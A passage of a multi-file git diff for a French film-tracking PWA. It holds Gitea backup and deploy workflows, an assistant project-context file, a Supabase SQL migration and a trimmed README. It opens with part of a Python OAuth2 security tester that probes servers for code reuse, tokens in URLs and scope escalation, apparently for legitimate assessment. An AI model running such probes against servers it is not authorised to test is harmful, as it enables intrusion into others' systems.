"grant_type": "authorization_code", "code": auth_code,
|
||||
"client_id": self.client_id, "redirect_uri": self.redirect_uri,
|
||||
}
|
||||
resp1 = self._post(self.token_url, data=data)
|
||||
resp2 = self._post(self.token_url, data=data)
|
||||
if resp2 and resp2.status_code == 200:
|
||||
self.findings.append({"severity": "high", "type": "Code Reuse",
|
||||
"detail": "Authorization code accepted multiple times"})
|
||||
return {"reusable": True}
|
||||
return {"reusable": False}
|
||||
|
||||
def test_token_in_url(self):
|
||||
"""Test if implicit flow returns tokens in URL fragment."""
|
||||
params = {
|
||||
"response_type": "token", "client_id": self.client_id,
|
||||
"redirect_uri": self.redirect_uri, "scope": "openid",
|
||||
"state": secrets.token_urlsafe(16),
|
||||
}
|
||||
resp = self._get(f"{self.auth_url}?{urlencode(params)}")
|
||||
if resp and resp.status_code in (301, 302, 303, 307):
|
||||
location = resp.headers.get("Location", "")
|
||||
if "access_token=" in location:
|
||||
self.findings.append({"severity": "medium", "type": "Implicit Flow Token Exposure",
|
||||
"detail": "Access token returned in URL fragment"})
|
||||
return {"token_in_url": True}
|
||||
return {"token_in_url": False}
|
||||
|
||||
def generate_report(self, auth_code=None):
|
||||
redirect_results = self.test_redirect_uri_validation()
|
||||
state = self.test_state_parameter()
|
||||
pkce = self.test_pkce_enforcement()
|
||||
scope = self.test_scope_escalation()
|
||||
token_url = self.test_token_in_url()
|
||||
code_reuse = self.test_code_reuse(auth_code) if auth_code else None
|
||||
|
||||
report = {
|
||||
"report_date": datetime.utcnow().isoformat(),
|
||||
"auth_url": self.auth_url,
|
||||
"redirect_uri_bypasses": redirect_results,
|
||||
"state_parameter": state,
|
||||
"pkce_enforcement": pkce,
|
||||
"scope_escalation": scope,
|
||||
"implicit_flow": token_url,
|
||||
"code_reuse": code_reuse,
|
||||
"findings": self.findings,
|
||||
"total_findings": len(self.findings),
|
||||
}
|
||||
out = self.output_dir / "oauth2_test_report.json"
|
||||
with open(out, "w") as f:
|
||||
json.dump(report, f, indent=2)
|
||||
print(json.dumps(report, indent=2))
|
||||
return report
|
||||
|
||||
|
||||
def main():
|
||||
if len(sys.argv) < 5:
|
||||
print("Usage: agent.py <auth_url> <token_url> <client_id> <redirect_uri> [--code <auth_code>]")
|
||||
sys.exit(1)
|
||||
auth_url, token_url, client_id, redirect_uri = sys.argv[1:5]
|
||||
code = None
|
||||
if "--code" in sys.argv:
|
||||
code = sys.argv[sys.argv.index("--code") + 1]
|
||||
agent = OAuth2TestAgent(auth_url, token_url, client_id, redirect_uri)
|
||||
agent.generate_report(code)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,32 @@
|
||||
# Sauvegarde automatique de la base Supabase : chaque nuit, pg_dump -> chiffrement -> VPS, avec rotation
|
||||
# (7 quotidiennes, 4 hebdomadaires, 6 mensuelles). Voir deploy/BACKUP.md.
|
||||
# Secrets à créer dans Gitea (Dépôt -> Paramètres -> Actions -> Secrets) — JAMAIS dans le dépôt :
|
||||
# SUPABASE_DB_URL chaîne « Session pooler » (IPv4) de Supabase, avec le mot de passe de la base
|
||||
# BACKUP_PASSPHRASE phrase de chiffrement (16 caractères min.), conservée aussi hors du VPS
|
||||
# Variable optionnelle : BACKUP_DIR (défaut /srv/backups/azuucine)
|
||||
name: backup
|
||||
on:
|
||||
schedule:
|
||||
- cron: '17 2 * * *' # tous les jours à 02:17 UTC
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
backup:
|
||||
runs-on: azuucine
|
||||
timeout-minutes: 30
|
||||
steps:
|
||||
- name: Récupérer le script
|
||||
# Le jeton n'est visible que de cette étape
|
||||
env:
|
||||
GIT_TOKEN: ${{ github.token }}
|
||||
REPO_URL: ${{ github.server_url }}/${{ github.repository }}.git
|
||||
run: |
|
||||
rm -rf src
|
||||
AUTH=$(printf 'x-access-token:%s' "$GIT_TOKEN" | base64 -w0)
|
||||
git -c http.extraheader="AUTHORIZATION: basic $AUTH" clone --depth 1 --branch main "$REPO_URL" src
|
||||
- name: Sauvegarder (dump, contrôle, chiffrement, rotation)
|
||||
env:
|
||||
SUPABASE_DB_URL: ${{ secrets.SUPABASE_DB_URL }}
|
||||
BACKUP_PASSPHRASE: ${{ secrets.BACKUP_PASSPHRASE }}
|
||||
BACKUP_DIR: ${{ vars.BACKUP_DIR }}
|
||||
run: bash src/deploy/backup.sh
|
||||
@@ -10,22 +10,29 @@ on:
|
||||
|
||||
jobs:
|
||||
deploy:
|
||||
if: github.ref == 'refs/heads/main'
|
||||
runs-on: azuucine
|
||||
env:
|
||||
REQUIRE_SUPABASE: '1' # le build échoue si VITE_SUPABASE_* manquent (garde dans vite.config.ts)
|
||||
VITE_SUPABASE_URL: ${{ vars.VITE_SUPABASE_URL }}
|
||||
VITE_SUPABASE_ANON_KEY: ${{ secrets.VITE_SUPABASE_ANON_KEY }}
|
||||
GIT_TOKEN: ${{ github.token }}
|
||||
steps:
|
||||
- name: Récupérer le code
|
||||
# Le jeton n'est visible que de cette étape (pas des scripts npm qui suivent)
|
||||
env:
|
||||
GIT_TOKEN: ${{ github.token }}
|
||||
REF: ${{ github.ref_name }}
|
||||
REPO_URL: ${{ github.server_url }}/${{ github.repository }}.git
|
||||
run: |
|
||||
rm -rf src
|
||||
AUTH=$(printf 'x-access-token:%s' "$GIT_TOKEN" | base64 -w0)
|
||||
git -c http.extraheader="AUTHORIZATION: basic $AUTH" clone --depth 1 --branch "${{ github.ref_name }}" \
|
||||
"${{ github.server_url }}/${{ github.repository }}.git" src
|
||||
git -c http.extraheader="AUTHORIZATION: basic $AUTH" clone --depth 1 --branch "$REF" "$REPO_URL" src
|
||||
- name: Installer les dépendances
|
||||
run: cd src && npm ci --no-audit --no-fund
|
||||
- name: Construire
|
||||
env:
|
||||
VITE_SUPABASE_URL: ${{ vars.VITE_SUPABASE_URL }}
|
||||
VITE_SUPABASE_ANON_KEY: ${{ secrets.VITE_SUPABASE_ANON_KEY }}
|
||||
run: cd src && npm run build
|
||||
- name: Publier (atomique, 3 versions conservées)
|
||||
run: cd src && bash deploy/release.sh dist "${{ github.sha }}"
|
||||
env:
|
||||
SHA: ${{ github.sha }}
|
||||
run: cd src && bash deploy/release.sh dist "$SHA"
|
||||
@@ -0,0 +1,69 @@
|
||||
# Kino (ex-AzuuCine) — contexte projet (lu automatiquement par Claude Code)
|
||||
|
||||
PWA de suivi de films, séries, animes, K-dramas et C-dramas. Interface en français
|
||||
(18 langues). Thème sombre par défaut, accent rouge, sans dégradés, police Inter.
|
||||
|
||||
## Stack
|
||||
- **Vite + React 19 + TypeScript**, **Tailwind CSS v4**, PWA (vite-plugin-pwa, service worker auto-update).
|
||||
- **Supabase** (Postgres + Auth + Storage + Edge Functions) pour les comptes et le social.
|
||||
- Local-first : IndexedDB par utilisateur + outbox + synchro last-write-wins.
|
||||
- Dossier local : `C:\Users\romai\Documents\FICHIER\PROJET\Kino`.
|
||||
|
||||
## Lancer / vérifier
|
||||
```bash
|
||||
npm install
|
||||
npm run dev # dev local
|
||||
npm run typecheck # tsc --noEmit ← LANCER APRÈS CHAQUE MODIF, doit finir sans erreur
|
||||
npm run build # build de prod
|
||||
```
|
||||
|
||||
## Déploiement
|
||||
- Remote git : **Gitea** `https://gitea.rdacet.fr/romain/kino.git` (branche `main`).
|
||||
- Claude Code (cloud) accède directement à Gitea : jeton `GITEA_TOKEN` en « network secret » de l'environnement (portée `write:repository`). Claude pousse sur une branche `claude/…` ; Romain fusionne dans `main` depuis Gitea (ce qui déploie). Plus de dépôt GitHub.
|
||||
- Push via **PowerShell** : `git push`.
|
||||
- **Gitea Actions** (`.gitea/workflows/deploy.yml`) build et publie sur le **VPS** (nginx en LXC) à chaque push sur `main`. Site : https://azuucine.rdacet.fr
|
||||
- `vite.config.ts` contient un garde-fou : le build échoue si `VITE_SUPABASE_URL` / `VITE_SUPABASE_ANON_KEY` manquent en CI (variables/secrets Gitea Actions). La CSP et les en-têtes de sécurité y sont aussi définis (source unique → convertis en conf nginx par `deploy/headers-to-nginx.mjs`).
|
||||
|
||||
## Supabase
|
||||
- Project ref : `qfgnxonqwldcfdjqhhjz` — URL `https://qfgnxonqwldcfdjqhhjz.supabase.co`
|
||||
- Clé **publishable** (publique, déjà dans le bundle client) : `sb_publishable_s459lWM86bjiteGzWxSYcw_WbiRYydR`
|
||||
- **Secrets (JAMAIS dans le dépôt, jamais dans .env/VITE_)** : la clé TMDB et la `service_role` vivent dans les **secrets Supabase** / Edge Functions. Ne jamais les committer ni les coller dans le chat.
|
||||
- **Migrations** : `supabase/migrations/*.sql`. ⚠️ L'outil MCP `apply_migration` **tombe souvent en timeout** sur ce projet (création de fonctions). **Appliquer le SQL en le collant dans Supabase → SQL Editor → Run.** Tous les fichiers sont écrits **idempotents** (`create or replace`, `if not exists`, `drop ... if exists`).
|
||||
- Edge functions : `tmdb` (proxy pour cacher la clé TMDB), `delete-account`. Storage bucket `profile-media`.
|
||||
- Compte **admin** = Romain, user id `4529202d-618c-4b40-ab13-228eef3f71ad` (table `public.admins`).
|
||||
|
||||
### Règles de sécurité Supabase (NON négociables — « aucune faille »)
|
||||
- **RLS activé partout** ; chaque utilisateur ne voit que ses données.
|
||||
- Toute fonction exposée est **`security definer` + `set search_path = ''`** et **vérifie les droits en interne** (`auth.uid()`, `can_view()`, `is_admin()`), puis `revoke ... from public, anon` / `grant execute ... to authenticated`.
|
||||
- La clé TMDB ne doit jamais fuiter côté client (passe par l'edge function `tmdb`).
|
||||
|
||||
## Architecture client (repères)
|
||||
- `src/store.tsx` — fournisseur de données (IndexedDB = source locale, état React = copie de travail), synchro, thème.
|
||||
- `src/lib/cloud/` — `auth.ts` (GoTrue maison, PKCE Google), `sync.ts` (push/pull LWW), `social.ts`, `admin.ts`, `reviews.ts`, `notifications.ts`, `api.ts` (`cloudFetch`).
|
||||
- `src/lib/airing.ts` — suivi des sorties d'épisodes (TMDB/AniList), cache local.
|
||||
- `src/lib/franchise.ts` — saisons & dédoublonnage de franchises (TMDB 1 fiche multi-saisons vs AniList 1 entrée/saison).
|
||||
- `src/components/social/` — profils, recherche, fil d'amis, avis par titre (`TitleReviews`), réactions (`Reactions`), notifications (`Notifications`), aperçu d'une fiche (`ItemPeek`), `SocialProvider` (pile d'overlays).
|
||||
- `src/pages/` — `HomePage`, `CatalogPage`, `StatsPage`, `SettingsPage`, `AdminPage`.
|
||||
- `src/App.tsx` — shell + routes par hash (`#/home`, `#/admin`…), `BottomNav` (mobile) + `SideNav` (desktop ≥ lg).
|
||||
|
||||
## i18n (IMPORTANT)
|
||||
- 18 langues dans `src/i18n/locales/*.ts`. **`fr` est la référence** : toute clé doit exister dans **toutes** les langues (sinon erreur TS).
|
||||
- Textes vus par les membres → traduire dans les 18. Un écran réservé à l'admin → `fr` + `en` suffit.
|
||||
- Clés plurielles `xxx_one`/`xxx_other` (+ `_few`/`_many` pour ar/ru/pl). Variables `{x}`.
|
||||
- Thèmes d'apparence : `auto` (suit le navigateur), `light`, `dark`, `night`, `starfield` (fond étoilé CSS). Toujours utiliser les **tokens de thème** (`bg-bg`, `text-ink`, `bg-accent-fill`…), **jamais de couleur hex en dur**.
|
||||
|
||||
- **Nom affiché : « Kino »** (renommé le 14 oct. 2026). Les identifiants techniques gardent `azuu`/`azuucine` (clés localStorage, bases IndexedDB, fonctions SQL `azuu_*`, secret Vault, dossiers `/srv/azuucine`, runner Gitea) : ne pas les renommer, ça casserait les données existantes.
|
||||
|
||||
## Conventions
|
||||
- `npm run typecheck` doit passer après chaque modif.
|
||||
- Ne pas mettre `localStorage`/`sessionStorage` sans try/catch.
|
||||
- Garder les fichiers idempotents côté SQL.
|
||||
- RTL géré (arabe) : préférer les classes logiques (`ps-`/`pe-`, `ms-`/`me-`, `start-`/`end-`, `border-e`).
|
||||
|
||||
## État / en attente (au 9 oct. 2026)
|
||||
- Appliqués en ligne : tout jusqu'à `20261008150000`, + `20261009110000_private_tags` et `20261009140000_challenges`.
|
||||
- **À coller dans SQL Editor** : `supabase/A_COLLER_2026-10-09.sql` (commentaires/spoilers, listes partagées, web push, modération, bugs/erreurs). Idempotent.
|
||||
- Edge functions déployées : `tmdb` v4 (watch/providers, /find), `send-push` v1.
|
||||
- Push : générer les clés (`node scripts/gen-vapid.mjs`), 4 secrets Edge Functions + `azuu_push_secret` dans Vault → voir `supabase/PUSH_SETUP.md`.
|
||||
- Sauvegardes : secrets Gitea `SUPABASE_DB_URL` + `BACKUP_PASSPHRASE`, préparation du VPS → voir `deploy/BACKUP.md`.
|
||||
- Recommandé : activer **Leaked Password Protection** (Authentication → Passwords) ; supprimer `_tmp_ping2` / `_tmp_sd2`.
|
||||
@@ -0,0 +1,198 @@
|
||||
-- ════════════════════════════════════════════════════════════════════════════
|
||||
-- AzuuCine — Avis par titre, réactions et notifications (5 octobre 2026)
|
||||
-- 1. Voir tous les avis sur un titre (amis / autres).
|
||||
-- 2. Réagir aux avis (emoji).
|
||||
-- 3. Notifications (cloche) : abonnements, demandes acceptées, réactions reçues.
|
||||
--
|
||||
-- À coller dans Supabase → SQL Editor → Run. Idempotent (réexécutable sans risque).
|
||||
-- ════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
-- ── Tables ──
|
||||
create table if not exists public.review_reactions (
|
||||
author_id uuid not null references auth.users(id) on delete cascade, -- auteur de l'avis
|
||||
item_id text not null,
|
||||
user_id uuid not null default auth.uid() references auth.users(id) on delete cascade, -- qui réagit
|
||||
emoji text not null,
|
||||
created_at timestamptz not null default now(),
|
||||
primary key (author_id, item_id, user_id)
|
||||
);
|
||||
create index if not exists review_reactions_target_idx on public.review_reactions (author_id, item_id);
|
||||
alter table public.review_reactions enable row level security;
|
||||
alter table public.review_reactions force row level security;
|
||||
revoke all on public.review_reactions from anon, authenticated;
|
||||
|
||||
create table if not exists public.notifications (
|
||||
id bigint generated always as identity primary key,
|
||||
user_id uuid not null references auth.users(id) on delete cascade, -- destinataire
|
||||
kind text not null check (kind in ('follow_request','follow_accepted','new_follower','reaction')),
|
||||
actor_id uuid references auth.users(id) on delete cascade,
|
||||
item_id text,
|
||||
emoji text,
|
||||
created_at timestamptz not null default now(),
|
||||
read_at timestamptz
|
||||
);
|
||||
create index if not exists notifications_user_idx on public.notifications (user_id, created_at desc);
|
||||
alter table public.notifications enable row level security;
|
||||
alter table public.notifications force row level security;
|
||||
revoke all on public.notifications from anon, authenticated;
|
||||
|
||||
-- ── Création de notifications + bornage de l'historique ──
|
||||
create or replace function public.azuu_notify(p_user uuid, p_kind text, p_actor uuid, p_item text default null, p_emoji text default null)
|
||||
returns void language plpgsql security definer set search_path = '' as $$
|
||||
begin
|
||||
if p_user is null or p_actor is null or p_user = p_actor then return; end if;
|
||||
insert into public.notifications (user_id, kind, actor_id, item_id, emoji)
|
||||
values (p_user, p_kind, p_actor, p_item, p_emoji);
|
||||
delete from public.notifications
|
||||
where user_id = p_user and id not in (
|
||||
select id from public.notifications where user_id = p_user order by created_at desc limit 300
|
||||
);
|
||||
end;
|
||||
$$;
|
||||
|
||||
-- Abonnement / demande -> notifie le compte suivi ; demande acceptée -> notifie le demandeur
|
||||
create or replace function public.azuu_follow_notify()
|
||||
returns trigger language plpgsql security definer set search_path = '' as $$
|
||||
begin
|
||||
if tg_op = 'INSERT' then
|
||||
perform public.azuu_notify(new.following_id,
|
||||
case when new.status = 'pending' then 'follow_request' else 'new_follower' end, new.follower_id);
|
||||
elsif tg_op = 'UPDATE' and old.status = 'pending' and new.status = 'accepted' then
|
||||
perform public.azuu_notify(new.follower_id, 'follow_accepted', new.following_id);
|
||||
end if;
|
||||
return null;
|
||||
end;
|
||||
$$;
|
||||
drop trigger if exists follows_notify on public.follows;
|
||||
create trigger follows_notify after insert or update on public.follows
|
||||
for each row execute function public.azuu_follow_notify();
|
||||
|
||||
-- Réaction reçue -> notifie l'auteur de l'avis
|
||||
create or replace function public.azuu_reaction_notify()
|
||||
returns trigger language plpgsql security definer set search_path = '' as $$
|
||||
begin
|
||||
perform public.azuu_notify(new.author_id, 'reaction', new.user_id, new.item_id, new.emoji);
|
||||
return null;
|
||||
end;
|
||||
$$;
|
||||
drop trigger if exists reactions_notify on public.review_reactions;
|
||||
create trigger reactions_notify after insert on public.review_reactions
|
||||
for each row execute function public.azuu_reaction_notify();
|
||||
|
||||
-- ── Réagir à un avis ──
|
||||
create or replace function public.react_to_review(p_author uuid, p_item text, p_emoji text)
|
||||
returns jsonb language plpgsql security definer set search_path = '' as $$
|
||||
begin
|
||||
if auth.uid() is null then raise exception 'auth'; end if;
|
||||
if p_author = auth.uid() then raise exception 'cannot react to your own review'; end if;
|
||||
if p_emoji is null or p_emoji <> all (array['👍','❤️','🔥','😂','😮','😢']) then raise exception 'bad emoji'; end if;
|
||||
if not public.can_view(p_author) or not exists (
|
||||
select 1 from public.items i join public.profiles pr on pr.id = i.user_id
|
||||
where i.user_id = p_author and i.id = p_item and not i.deleted
|
||||
and coalesce(i.data->>'notes','') <> '' and not pr.suspended
|
||||
) then
|
||||
raise exception 'review not found';
|
||||
end if;
|
||||
insert into public.review_reactions (author_id, item_id, user_id, emoji)
|
||||
values (p_author, p_item, auth.uid(), p_emoji)
|
||||
on conflict (author_id, item_id, user_id) do update set emoji = excluded.emoji, created_at = now();
|
||||
return jsonb_build_object('ok', true);
|
||||
end;
|
||||
$$;
|
||||
|
||||
create or replace function public.unreact_review(p_author uuid, p_item text)
|
||||
returns jsonb language plpgsql security definer set search_path = '' as $$
|
||||
begin
|
||||
if auth.uid() is null then raise exception 'auth'; end if;
|
||||
delete from public.review_reactions where author_id = p_author and item_id = p_item and user_id = auth.uid();
|
||||
return jsonb_build_object('ok', true);
|
||||
end;
|
||||
$$;
|
||||
|
||||
-- ── Tous les avis sur un titre (amis / autres) ──
|
||||
create or replace function public.title_reviews(p_external_id text, p_offset integer default 0)
|
||||
returns jsonb language plpgsql stable security definer set search_path = '' as $$
|
||||
declare me uuid := auth.uid(); res jsonb;
|
||||
begin
|
||||
if me is null or p_external_id !~ '^(tmdb:(movie|tv):[0-9]{1,10}|anilist:[0-9]{1,10})$' then
|
||||
return jsonb_build_object('friends', '[]'::jsonb, 'others', '[]'::jsonb);
|
||||
end if;
|
||||
with revs as (
|
||||
select i.user_id, i.id as item_id, i.updated_at,
|
||||
nullif(i.data->>'rating','')::numeric as rating,
|
||||
i.data->>'notes' as notes, pr,
|
||||
exists(select 1 from public.follows f where f.follower_id = me and f.following_id = i.user_id and f.status = 'accepted') as friend
|
||||
from public.items i
|
||||
join public.profiles pr on pr.id = i.user_id
|
||||
where i.data->>'externalId' = p_external_id
|
||||
and not i.deleted and coalesce(i.data->>'notes','') <> ''
|
||||
and i.user_id <> me and not pr.suspended
|
||||
and (not pr.is_private
|
||||
or exists(select 1 from public.follows f where f.follower_id = me and f.following_id = i.user_id and f.status = 'accepted'))
|
||||
),
|
||||
enriched as (
|
||||
select r.*,
|
||||
(select coalesce(jsonb_object_agg(e.emoji, e.c), '{}'::jsonb)
|
||||
from (select emoji, count(*) c from public.review_reactions rr
|
||||
where rr.author_id = r.user_id and rr.item_id = r.item_id group by emoji) e) as reactions,
|
||||
(select count(*) from public.review_reactions rr where rr.author_id = r.user_id and rr.item_id = r.item_id) as total,
|
||||
(select emoji from public.review_reactions rr where rr.author_id = r.user_id and rr.item_id = r.item_id and rr.user_id = me) as mine
|
||||
from revs r
|
||||
)
|
||||
select jsonb_build_object(
|
||||
'friends', coalesce((select jsonb_agg(entry order by total desc, updated_at desc) from (
|
||||
select jsonb_build_object('user', public.profile_card(pr), 'user_id', user_id, 'item_id', item_id,
|
||||
'updated_at', updated_at, 'rating', rating, 'notes', notes,
|
||||
'reactions', reactions, 'total', total, 'mine', mine) entry, total, updated_at
|
||||
from enriched where friend offset greatest(p_offset, 0) limit 40) f), '[]'::jsonb),
|
||||
'others', coalesce((select jsonb_agg(entry order by total desc, updated_at desc) from (
|
||||
select jsonb_build_object('user', public.profile_card(pr), 'user_id', user_id, 'item_id', item_id,
|
||||
'updated_at', updated_at, 'rating', rating, 'notes', notes,
|
||||
'reactions', reactions, 'total', total, 'mine', mine) entry, total, updated_at
|
||||
from enriched where not friend offset greatest(p_offset, 0) limit 40) o), '[]'::jsonb)
|
||||
) into res;
|
||||
return res;
|
||||
end;
|
||||
$$;
|
||||
|
||||
-- ── Notifications ──
|
||||
create or replace function public.get_notifications(p_offset integer default 0)
|
||||
returns jsonb language sql stable security definer set search_path = '' as $$
|
||||
select coalesce(jsonb_agg(x order by created_at desc), '[]'::jsonb)
|
||||
from (
|
||||
select n.id, n.kind, n.created_at, n.read_at, n.emoji, n.item_id,
|
||||
case when p.id is null then null else
|
||||
jsonb_build_object('username', p.username, 'display_name', p.display_name, 'avatar_url', p.avatar_url) end as actor,
|
||||
case when n.kind = 'reaction'
|
||||
then (select it.data->>'title' from public.items it where it.user_id = n.user_id and it.id = n.item_id) end as title
|
||||
from public.notifications n
|
||||
left join public.profiles p on p.id = n.actor_id
|
||||
where n.user_id = auth.uid()
|
||||
order by n.created_at desc
|
||||
offset greatest(p_offset, 0) limit 30
|
||||
) x
|
||||
$$;
|
||||
|
||||
create or replace function public.notifications_unread()
|
||||
returns integer language sql stable security definer set search_path = '' as $$
|
||||
select count(*)::int from public.notifications where user_id = auth.uid() and read_at is null
|
||||
$$;
|
||||
|
||||
create or replace function public.mark_notifications_read()
|
||||
returns void language sql security definer set search_path = '' as $$
|
||||
update public.notifications set read_at = now() where user_id = auth.uid() and read_at is null
|
||||
$$;
|
||||
|
||||
-- ── Droits (gate interne : auth.uid() / can_view) ──
|
||||
revoke all on function public.react_to_review(uuid, text, text) from public, anon;
|
||||
revoke all on function public.unreact_review(uuid, text) from public, anon;
|
||||
revoke all on function public.title_reviews(text, integer) from public, anon;
|
||||
revoke all on function public.get_notifications(integer) from public, anon;
|
||||
revoke all on function public.notifications_unread() from public, anon;
|
||||
revoke all on function public.mark_notifications_read() from public, anon;
|
||||
grant execute on function public.react_to_review(uuid, text, text) to authenticated;
|
||||
grant execute on function public.unreact_review(uuid, text) to authenticated;
|
||||
grant execute on function public.title_reviews(text, integer) to authenticated;
|
||||
grant execute on function public.get_notifications(integer) to authenticated;
|
||||
grant execute on function public.notifications_unread() to authenticated;
|
||||
grant execute on function public.mark_notifications_read() to authenticated;
|
||||
@@ -1,242 +1 @@
|
||||
# AzuuCine
|
||||
|
||||
Application personnelle (PWA) pour suivre, noter et organiser mes visionnages : films, séries, animes, K-dramas, C-dramas et autres.
|
||||
Deux modes :
|
||||
- **Avec comptes** (si le fichier `.env` est rempli) : chacun crée son compte, ses données sont enregistrées dans une base
|
||||
Supabase où **personne d'autre ne peut les lire**, synchronisées entre ses appareils, et gardées aussi sur le téléphone
|
||||
pour fonctionner sans internet. La clé TMDB reste sur le serveur.
|
||||
- **100 % local** (sans `.env`) : comme avant, tout reste dans le navigateur de l'appareil.
|
||||
|
||||
## Stack
|
||||
|
||||
- **Vite + React 19 + TypeScript**
|
||||
- **Tailwind CSS v4** (thème sombre par défaut)
|
||||
- **vite-plugin-pwa** : manifeste, icônes, service worker (fonctionne hors-ligne)
|
||||
- **IndexedDB** via un petit wrapper maison (`src/lib/db.ts`), sans dépendance
|
||||
- **lucide-react** pour les icônes
|
||||
- Police **Inter** embarquée via `@fontsource` (aucun appel à Google Fonts)
|
||||
- Recherche en ligne : **TMDB** (films, séries, dramas) et **AniList** (animes)
|
||||
- Comptes : **Supabase** (Auth + Postgres + Edge Functions), appelé sans dépendance (`src/lib/cloud/`)
|
||||
|
||||
## Design
|
||||
|
||||
Fond noir + une couleur d'accent au choix (Réglages → Thème : 12 couleurs prêtes ou couleur libre, rouge par défaut), sobre, typographie simple façon Letterboxd (Inter partout, petites capitales grises pour les sections),
|
||||
boutons en pilule, filets de 1px, **aucun dégradé ni ombre**. Les couleurs sont définies dans `src/index.css` (`@theme`).
|
||||
|
||||
## Arborescence
|
||||
|
||||
```
|
||||
AzuuCine/
|
||||
├── index.html # méta iOS/Android (plein écran, icône, barre d'état)
|
||||
├── vite.config.ts # config Vite + manifeste PWA
|
||||
├── public/icons/ # icônes de l'app (192, 512, maskable, apple-touch)
|
||||
└── src/
|
||||
├── main.tsx # point d'entrée + enregistrement du service worker
|
||||
├── Root.tsx # écran de connexion si les comptes sont activés
|
||||
├── App.tsx # navigation par onglets (#/home, #/catalog…)
|
||||
├── store.tsx # service de données : CRUD, +1 épisode, import (React Context)
|
||||
├── types.ts # modèle MediaItem
|
||||
├── index.css # thème Tailwind + composants (.field, .chip, .btn…)
|
||||
├── lib/
|
||||
│ ├── db.ts # IndexedDB (une base par compte)
|
||||
│ ├── cloud/ # comptes : connexion, synchronisation, proxy TMDB
|
||||
│ ├── backup.ts # export / import JSON + validation des fiches
|
||||
│ ├── catalogApi.ts # recherche TMDB + AniList, détection du type (K-drama, anime…)
|
||||
│ ├── stats.ts # statistiques et estimation du temps passé
|
||||
│ ├── constants.ts # types, statuts, critères, genres, plateformes
|
||||
│ ├── image.ts # compression des affiches importées depuis la galerie
|
||||
│ └── utils.ts
|
||||
├── components/ # BottomNav, MediaCard, MediaForm, Rating, TagInput, Poster…
|
||||
└── pages/ # Accueil, Catalogue, Statistiques, Réglages
|
||||
supabase/
|
||||
├── migrations/…_azuucine.sql # tables + règles de sécurité (RLS) à exécuter une fois
|
||||
└── functions/ # fonctions serveur : tmdb (proxy avec ta clé), delete-account
|
||||
```
|
||||
|
||||
## Sécurité
|
||||
|
||||
**Code public, données privées.** Tu peux publier le code sans risque : rien de secret n'est dedans.
|
||||
|
||||
- **Ce qui est public (normal)** : `VITE_SUPABASE_URL` et `VITE_SUPABASE_ANON_KEY` finissent dans l'app, donc lisibles par
|
||||
n'importe qui. C'est prévu ainsi : elles ne donnent accès qu'à ce que les règles de la base autorisent.
|
||||
- **Ce qui est secret** : ta clé TMDB (`TMDB_API_KEY`) et la clé `service_role` vivent **uniquement dans les secrets
|
||||
Supabase**, côté serveur. Elles ne sont ni dans le code, ni dans `.env`, ni dans l'app. ⚠️ Ne mets jamais une clé
|
||||
secrète dans une variable `VITE_…` : tout ce qui commence par `VITE_` est envoyé au navigateur.
|
||||
- **Isolation des comptes** : Row Level Security sur toutes les tables (`user_id = auth.uid()`), vérifiée par la base
|
||||
elle-même. Même avec la clé publique, impossible de lire ou modifier les données d'un autre compte.
|
||||
- **Profils** : les autres membres ne lisent jamais les tables directement, seulement via des fonctions SQL qui vérifient
|
||||
l'accès (profil public, ou abonné accepté pour un compte privé) et retirent les avis non publics et les listes perso.
|
||||
Les photos ne peuvent être envoyées que dans le dossier de leur propriétaire (JPEG/PNG/WebP, 2 Mo max) ; le pseudo de
|
||||
départ est aléatoire (l'email n'est jamais montré). Les visiteurs non
|
||||
connectés n'ont accès à rien. Quotas par compte (20 000 fiches, 300 listes) et taille maximale par fiche.
|
||||
- **Conflits** : la modification la plus récente gagne, vérifiée par un trigger côté serveur (un appareil resté
|
||||
hors-ligne ne peut pas écraser une version plus récente).
|
||||
- **Proxy TMDB** : seuls les comptes connectés peuvent l'utiliser, uniquement pour quelques adresses et paramètres
|
||||
précis (liste blanche), avec une limite de requêtes par compte et une liste d'origines autorisées (`ALLOWED_ORIGINS`).
|
||||
- **Mots de passe** : gérés par Supabase Auth (hachés, jamais stockés dans l'app). Seule la session (jetons renouvelés
|
||||
automatiquement) est gardée sur l'appareil. Déconnexion = données du compte retirées de l'appareil.
|
||||
- **Données reçues** : tout ce qui vient du serveur, d'un fichier importé ou des API est revalidé et borné
|
||||
(`src/lib/security.ts`, `normalizeItem`) avant d'être affiché ou enregistré.
|
||||
- **Images** : seules les images embarquées (`data:image/…`, SVG exclu) et celles de TMDB / AniList sont acceptées ;
|
||||
les photos de la galerie sont ré-encodées (les métadonnées EXIF/GPS disparaissent).
|
||||
- **Affichage** : React échappe tout le texte (pas d'injection HTML possible) ; aucun `innerHTML`, aucun `eval`.
|
||||
- **Politique de sécurité du contenu (CSP)** ajoutée à la version publiée : seuls les scripts de l'app s'exécutent et
|
||||
seuls TMDB / AniList / ton projet Supabase peuvent être contactés. Le fichier `_headers` généré au build ajoute les
|
||||
en-têtes de sécurité (repris par nginx sur le VPS, Netlify ou Cloudflare Pages) (anti-iframe, HSTS, pas de référent…).
|
||||
- **Serveur de développement** : `npm run dev` n'est accessible que depuis ton PC. `npm run dev:mobile` l'ouvre à ton
|
||||
réseau Wi-Fi, à utiliser seulement chez toi et à couper après.
|
||||
- **Dépendances** : lance `npm run audit` de temps en temps et `npm update` pour les correctifs.
|
||||
|
||||
## Comptes : mise en place de Supabase (une seule fois, ~15 min)
|
||||
|
||||
1. **Crée le projet** : https://supabase.com → *New project* (gratuit). Région : *West EU (Paris)* ou *Frankfurt*.
|
||||
Garde le mot de passe de la base quelque part (tu n'en auras pas besoin dans l'app).
|
||||
2. **Crée les tables** : *SQL Editor* → *New query* → colle tout le fichier
|
||||
`supabase/migrations/20260930120000_azuucine.sql` → **Run**. (Tu peux le relancer sans risque.)
|
||||
3. **Réglages de connexion** : *Authentication* →
|
||||
- *Sign In / Providers* → **Email** activé, **Confirm email** activé (recommandé), longueur minimale du mot de passe : 8.
|
||||
- *URL Configuration* → **Site URL** = l'adresse de ton app en ligne (ex. `https://azuucine.rdacet.fr`),
|
||||
et dans **Redirect URLs** ajoute aussi `http://localhost:5173`. Les liens des emails (confirmation, mot de passe
|
||||
oublié) renvoient vers ces adresses.
|
||||
4. **Le fichier `.env`** : copie `.env.example` en `.env`, puis remplis les 2 valeurs depuis *Project Settings* →
|
||||
*API* (ou *API Keys*) : **Project URL** et la clé **publishable** (ou **anon** si ton projet utilise les anciennes clés).
|
||||
